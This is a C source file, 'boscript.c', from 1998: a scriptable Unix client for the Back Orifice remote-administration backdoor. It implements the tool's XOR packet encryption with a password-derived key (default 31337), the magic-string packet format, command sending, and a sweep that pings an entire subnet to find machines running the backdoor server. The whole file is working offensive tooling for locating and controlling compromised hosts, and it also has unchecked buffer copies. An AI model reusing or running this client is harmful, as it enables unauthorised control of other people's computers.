/* boscript.c
 * BOScript v.0.1
 * A scriptable interface to the Back Orific Remote Administration Server
 * Copyright (C) 1998 Mitch Blevins (mitch_blevins@mindspring.com)
 * http://blevins.simplenet.com/boscript
 *
 * Original Back Orifice Unix Client
 * Written by Dildog (dildog@cultdeadcow.com)
 *	and LadyAda (ladyada@cybercom.net)
 * Copyright (c) 1998 Cult of the Dead Cow
 * http://www.cultdeadcow.com
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */
 
 
#include "config.h"
#include "boscript.h"

/* GLOBALS */

unsigned long g_packet;
static long holdrand = 1L;
char g_password[ARGSIZE];
char g_lastdata[BUFFSIZE];
unsigned long host;
int udpsock;
char cwd[MAX_PATH];
int port = PORT;
int verbose = 0;
struct packlink *packet_head = NULL;
char *ftm; /* free this memory */
int temp_timeout = 0;

/***************** CRYPTING FUNCTIONS ******************************/

void  msrand (unsigned int seed ){
  holdrand = (long)seed;
}

int mrand ( void){ 
  return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
}


unsigned int getkey(){
  int x, y;
  unsigned int z;
  
  y = strlen(g_password);
  if (!y)
    return 31337;
  else{
    z = 0;
    for (x = 0; x < y; x++)
      z+= g_password[x];
    
    for (x = 0; x < y; x++){
      if (x%2)
        z-= g_password[x] * (y-x+1);
      else 
        z+= g_password[x] * (y-x+1);
      z = z%RAND_MAX;
    }
    z = (z * y)%RAND_MAX;
    return z;
  }
}

void BOcrypt(unsigned char *buff, int len){
  int y;
  
  if (!len)
    return;
  
  msrand(getkey());
  for (y = 0; y < len; y++)
    buff[y] = buff[y] ^ (mrand()%256);
}

/******************** I/O SOCKET FUNCTIONS **************************/

int getpong(int sock, int not_the_first_time){
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned char type;
  char nbuff[256];
  int n;
  fd_set fds;
  struct timeval tv;

  FD_ZERO(&fds);
  FD_SET(sock, &fds);
  tv.tv_sec = 0;
  tv.tv_usec = 0;
  hostsize = sizeof(host);
  
  while((sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0){
    tv.tv_sec=0;
    tv.tv_usec=0;

    if((x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
        &hostsize)) <= 0 ){
      return(1);
    }

    BOcrypt(buff, x);
      
    if(strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0){
      fprintf(stderr, "Garbage packet recieved from %s port %d\n",
             inet_ntoa(host.sin_addr),
             (int)ntohs(host.sin_port));
      continue;
    }
    pdw = (unsigned long *)buff;
    pdw+=2;
    packetsize = __EL_LONG(*pdw);
    pdw+=2;
    ptr = (unsigned char *)pdw;
    type = *ptr++;
    x -= (sizeof(unsigned long)*4);
    x -= (sizeof(unsigned char)); /* Get the actual data size */
      
    if(!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET) && 
        (type == TYPE_PING)){
      sprintf(nbuff,"PONG!%s!%d", inet_ntoa(host.sin_addr),
                             (int)ntohs(host.sin_port));
      n = strlen(nbuff);
      strncat(nbuff, ptr, 255-n);
      if(not_the_first_time){
        packet_head = process_packet(nbuff, strlen(nbuff), 0,
	                             packet_head, 0);
      }
      else{
        packet_head = process_packet(nbuff, strlen(nbuff), 0, NULL, 0);
      }
      if(verbose){
        puts(nbuff);
      }
      return(0);
    }
    else{
      fprintf(stderr, "Non pong response from %s port %d \n", 
             inet_ntoa(host.sin_addr),
             (int)ntohs(host.sin_port) );
      continue;
    }
  }
  if (sel < 0)
    perror("select");
  
  return(1);
}                        

int getinput(int sock)
{
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int hostsize, x, sel;
  unsigned long *pdw;
  unsigned char *ptr;
  unsigned long packetsize;
  unsigned long oldestpack, lastpacket, packetid, p;
  unsigned char type;
  struct packlink* packhead = NULL;
  struct timeval tv;
  fd_set fds;
  int tmp_to;
  
  /* If we have temporarily bumped up the timeout */
  if(temp_timeout){
    tmp_to = temp_timeout;
    temp_timeout = 0;
  }
  else{
    tmp_to = 10;
  }
    

  FD_ZERO(&fds);
  FD_SET(sock, &fds);
  tv.tv_sec = tmp_to;
  tv.tv_usec = 0;
  hostsize = sizeof(host);
  
  
  while((sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 ){
    tv.tv_sec = tmp_to;        /* check, does select modify tv? */
    tv.tv_usec = 0;

    if((x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
		  &hostsize)) <= 0)
      continue;           /* this still shouldnt happen */
      
    BOcrypt(buff, x);
    if (strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0) 
      continue; /* this packet isnt for us, pass off */
      
    pdw = (unsigned long *)buff; /* parse out the packet */ 
    pdw+=2;
    packetsize = *pdw++;
    packetsize = __EL_LONG(packetsize);
    packetid = *pdw++;
    packetid = __EL_LONG(packetid);
    ptr = (unsigned char *)pdw;
    type = *ptr++;
    x -= (sizeof(unsigned long)*4);
    x -= (sizeof(unsigned char)); /* Get the size of the actual data */
     
       
    /* this is a singular packet */
    if(!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) ){
      packhead = process_packet(ptr, x, packetid, NULL, -1);
      if(we_gottem_all(packhead)) break;
    }
      
    /* An ending packet */
    if(!(type & PARTIAL_PACKET)){
      packhead = process_packet(ptr, x, packetid, packhead, -1);
      if(we_gottem_all(packhead)) break;
      else continue;
    }
      
    /* Other packets */
    packhead = process_packet(ptr, x, packetid, packhead, 0);
    if(we_gottem_all(packhead)) break;
    else continue;
  }
  
  /* determine why we broke out of the loop */
  if (sel == 0){
    fprintf(stderr, "select: Time out on wait.  Unreachable host/port?.\n");
    return(1);
  }
  else if (sel < 0){
    perror("select");
    return(1);
  }
  else if(packet_head->active){
    if(verbose){
      print_packets(packet_head);
      return(0);
    }
  }
  return(1); /* This should never happen */
}


int sendping(unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  int i;
  fd_set fdset;
  struct timeval tv;

  size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2;
  strcpy(buff, MAGICSTRING);
  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG(size);
  *pdw++ = __EL_LONG((unsigned long)-1);
  ptr = (unsigned char *)pdw;
  *ptr++ = TYPE_PING;
  *ptr = 0;
  
  BOcrypt(buff, (int)size);
  
  host.sin_family = AF_INET;
  host.sin_port = htons((u_short)port);
  host.sin_addr.s_addr = dest;
  
  FD_ZERO(&fdset);
  FD_SET(sock, &fdset);
  tv.tv_sec = 10;
  tv.tv_usec = 0;

  i = select(sock+1, NULL, &fdset, NULL, &tv);
  if (i == 0){
    fprintf(stderr, "select: Timeout waiting to send to socket\n");
    return(1);
  }else if (i < 0) {
    perror("select");
    return(1);
  }

  if((sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host)))
      != size ){
    perror("sendto");
    return(1);
  }

  return 0;
}


int pingsweepsubnet(char *arg1, int udpsock, int port)
{
  int dest;
  char subnet[16];
  char ipaddr[16];
  char socks[255];
  int x,y;
  int ping_responded = 0;
    
  /* Find third octet and truncate */
  strncpy(subnet,arg1,15);
  x=0;
  while((x<15) && (subnet[x]!='.')) x++;
  x++;
  while((x<15) && (subnet[x]!='.')) x++;
  x++;
  while((x<15) && isdigit(subnet[x])) x++;
  subnet[x]='\0';

  strcpy(ipaddr,subnet);
  strcat(ipaddr,".255");
  if (inet_addr(ipaddr) == (unsigned long)-1){
    fprintf(stderr, "Bad IP subnet: '%s'\n", arg1);
    return(1);
  }
  if(verbose) printf("Sweeping subnet %s.*...\n", subnet);
  for(y=0;y<7;y++){
    if(verbose){
      printf(" %s.%d -- %s.%d\n",subnet,(y*32)+1,subnet,(y*32)+32);
      fflush(stdout);
    }
    for(x=0;x<32;x++){
      sprintf(ipaddr,"%s.%d",subnet,x+1+(y*32));      
      socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
      if(sendping(inet_addr(ipaddr), port, socks[x])){
	fprintf(stderr, "Sendping failed for dest %s\n", ipaddr);
      }
    } 
    sleep(SWEEPDELAY);
    for (x = 0; x < 32; x++){
      if(!getpong(socks[x], ping_responded)){
        ping_responded = -1;
      }
      close(socks[x]);
    }
  }
  if(verbose){
    printf(" %s.225 -- %s.254\n",subnet,subnet);
    fflush(stdout);
  }
  for(x=225;x<255;x++){
    sprintf(ipaddr,"%s.%d",subnet,x);      
    socks[x]=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
    if(sendping(inet_addr(ipaddr), port, socks[x])){
      fprintf(stderr, "Sendping failed for dest %s\n", ipaddr);
    }
  } 
  sleep(SWEEPDELAY);
  for (x = 225; x < 255; x++){
    if(!getpong(socks[x], ping_responded)){
      ping_responded = -1;
    }
    close(socks[x]);
  }
  
  if(ping_responded) return(0);
  else return(1);
}


int sendpacket(unsigned char type, const char *str1, const char *str2,
               unsigned long dest, int port, int sock)
{
  unsigned char *ptr;
  unsigned long *pdw;
  unsigned long size;
  struct sockaddr_in host;
  char buff[BUFFSIZE];
  
  if (dest == 0)
    {
      fprintf(stderr, "sendpacket: No host specified.\n");
      return(1);
    }
  /*               4    4   1    ?        ?      1 
   * -----------------------------------------------
   * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
   * |           |    |num | |        |        |   |
   * -----------------------------------------------
   */
  size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2);
  strcpy(buff, MAGICSTRING);
  pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
  *pdw++ = __EL_LONG(size);
  *pdw++ = __EL_LONG(g_packet);
  g_packet++;
  ptr = (unsigned char *)pdw;
  *ptr++ = type;
  strcpy(ptr, str1);
  ptr += strlen(str1) + 1;
  strcpy(ptr, str2);
  
  BOcrypt(buff, (int)size);
 
  host.sin_family = AF_INET;
  host.sin_port = htons((u_short)port);
  host.sin_addr.s_addr = dest;

  if((sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host)))
       != size){
    perror("sendto");
    return(1);
  }
  return 0;
}


/************************** MISC FUNCTIONS **************************/

void fixfilename(char *buff, const char *cwd, const char *path)
{
  if(path[0] == '\\'){
    strncpy(buff, cwd, 2);
    strncpy(buff+3, path, strlen(path)+1);
  }
  else if(strncmp(path+1, ":\\", 2) == 0){
    strcpy(buff, path);
  }
  else{
    sprintf(buff, "%s%s", cwd, path);
  }
}

char *quotedstring(char *dest, char *src)
{
  char *d, *s, c;
  int quote, escape;

  d=dest;
  s=src;
  quote=0;
  escape=0;
  do{
    c=*s++;
    if(quote==0){
      if(c==' '){
	*d++='\0';
	break;
      }
      else if(c=='"') quote=1;
      else *d++=c;
    }
    else{
      if(escape==0){
	if(c=='"') quote=0;
	else if(c=='\\') escape=1;
	else *d++=c;
      }
      else{
	*d++=c;
	escape=0;
      }
    }
  }while(c!='\0');
  
  return s; 
}

int we_gottem_all(struct packlink* head){
  struct packlink *pos;
  struct packlink *holder;
  int x;
  int need_to_do_it_again = 0;
  
  
  /* Since the packets are (hopefully) already in order,
   * a bubble sort will be efficient enough.
   */
  
  do{
    need_to_do_it_again = 0;
    pos = head;
    while(pos->next && pos->active && pos->next->active){
      if(pos->id < pos->next->id){
        pos = pos->next;
        continue;
      }
      else if(pos->id == pos->next->id){
        /* A repeated packet? Hell, just delete it. */
	holder = pos->next;
	if(!holder->next || !holder->next->active){
	  /* We're at the end of the line... just blank it out. */
	  holder->active = 0;
	  holder->datasize = 0;
	  holder->id = 0;
	  need_to_do_it_again = 1; /* Just in case */
	  break;
	}
	else{
	  pos->next = holder->next;
	  holder->next->prev = pos;
	  free((void*)holder->data);
	  free((void*)holder);
	  need_to_do_it_again = 1;
	  break;
	}
      }
      else{ /* pos->id > pos->next->id */
	/* switcheroo */
	holder = pos->next;
	holder->prev = pos->prev;
	pos->next = holder->next;
        holder->next = pos;
	pos->prev = holder;
	if(pos == head){
	  packet_head = holder;
	  head = holder;
	}
        need_to_do_it_again = 1;
	break;
      }
    }
  }while(need_to_do_it_again);
  
  /* Now that they're sorted, we'll verify the order */
  pos = head;
  while(pos->next && pos->active){
    if(pos->next->active){
      if(!(pos->id == (pos->next->id)-1)){
        return(0);
      }
    }
    pos = pos->next;
  }
  if(!(pos->prev->is_final)){
    return(0); /* The last package did not have the 'final' stamp */
  }
  
  /* If we made it this far, then we_gottem_all */
  return(1);
}

struct packlink* process_packet(unsigned char* ptr, int x, unsigned long id,
                                struct packlink* head, int is_final_packet){
  struct packlink* currentpack;
  unsigned char* data;
  
  if(!head){
    /* We got a new set of packets coming.  Let's inactivate the old ones */
    if(!(currentpack = packet_head)){
      if(!(packet_head = malloc(sizeof(struct packlink)))){
        perror("malloc");
	exit(1);
      }
      currentpack = packet_head;
      currentpack->size = 0;
      currentpack->data = NULL;
      currentpack->prev = NULL;
      /* We always keep an allocated (but empty) tail */
      if(!(currentpack->next = malloc(sizeof(struct packlink)))){
        perror("malloc");
	exit(1);
      }
      currentpack->next->size = 0;
      currentpack->next->data = NULL;
      currentpack->next->prev = currentpack;
      currentpack->next = NULL;
    }
    currentpack->active = 0;
    while(currentpack->next){
      currentpack = currentpack->next;
      currentpack->active = 0;
    }
  }
  
  currentpack = packet_head;
  while(currentpack->next){
    /* Move along if it's being used */
    if(currentpack->active){
      currentpack = currentpack->next;
      continue;
    }
    
    /* Is it big enough to use? */
    if(x <= currentpack->size){
      currentpack->active = -1;
      currentpack->id = id;
      currentpack->is_final = is_final_packet;
      currentpack->datasize = x;
      memcpy((void*)currentpack->data, (void*)ptr, x);
      return(packet_head);
    }
    
    /* Make it big enough */
    if(currentpack->data) free((void*)currentpack->data);
    if(!(currentpack->data = malloc(x))){
      perror("malloc");
      exit(1);
    }
    currentpack->datasize = x;
    currentpack->size = x;
    currentpack->active = -1;
    currentpack->id = id;
    currentpack->is_final = is_final_packet;
    memcpy((void*)currentpack->data, (void*)ptr, x);
    return(packet_head);
  }
  
  /* Shoot, we made it thru all the one's already allocated.
   * I guess we have to allocate our own
   */
   
  /* Is it big enough to use? */
  if(x <= currentpack->size){
    currentpack->active = -1;
    currentpack->id = id;
    currentpack->is_final = is_final_packet;
    currentpack->datasize = x;
    memcpy((void*)currentpack->data, (void*)ptr, x);
  }
  else{  
    /* Make it big enough */
    if(currentpack->data) free((void*)currentpack->data);
    if(!(currentpack->data = malloc(x))){
      perror("malloc");
      exit(1);
    }
    currentpack->datasize = x;
    currentpack->size = x;
    currentpack->active = -1;
    currentpack->id = id;
    currentpack->is_final = is_final_packet;
    memcpy((void*)currentpack->data, (void*)ptr, x);
  }
  
  /* Allocate the next one in line */
   if(!(currentpack->next = malloc(sizeof(struct packlink)))){
    perror("malloc");
    exit(1);
  }
  currentpack->next->active = 0;
  currentpack->next->size = 0;
  currentpack->next->data = NULL;
  currentpack->next->next = NULL;
  currentpack->next->prev = currentpack;
    
  return(packet_head);
}

void print_packets(struct packlink* head){
  struct packlink *pos;
  
  pos = head;
  while(pos->next && pos->active){
    puts(pos->data);
    pos = pos->next;
  }
  
}      








